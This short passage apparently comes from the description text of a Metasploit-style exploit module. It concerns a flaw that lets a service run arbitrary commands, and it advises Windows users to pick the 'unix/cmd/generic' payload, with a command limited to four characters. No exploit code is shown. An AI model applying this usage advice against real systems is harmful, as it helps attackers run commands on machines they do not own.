        		service to execute arbitrary commands. This vulnerability was

        		module.
			
			For Microsoft Windows targets, due to module limitations, use the
			"unix/cmd/generic" payload and set CMD to your command. You can only
			pass a small amount of characters (4) to the command line on Windows.
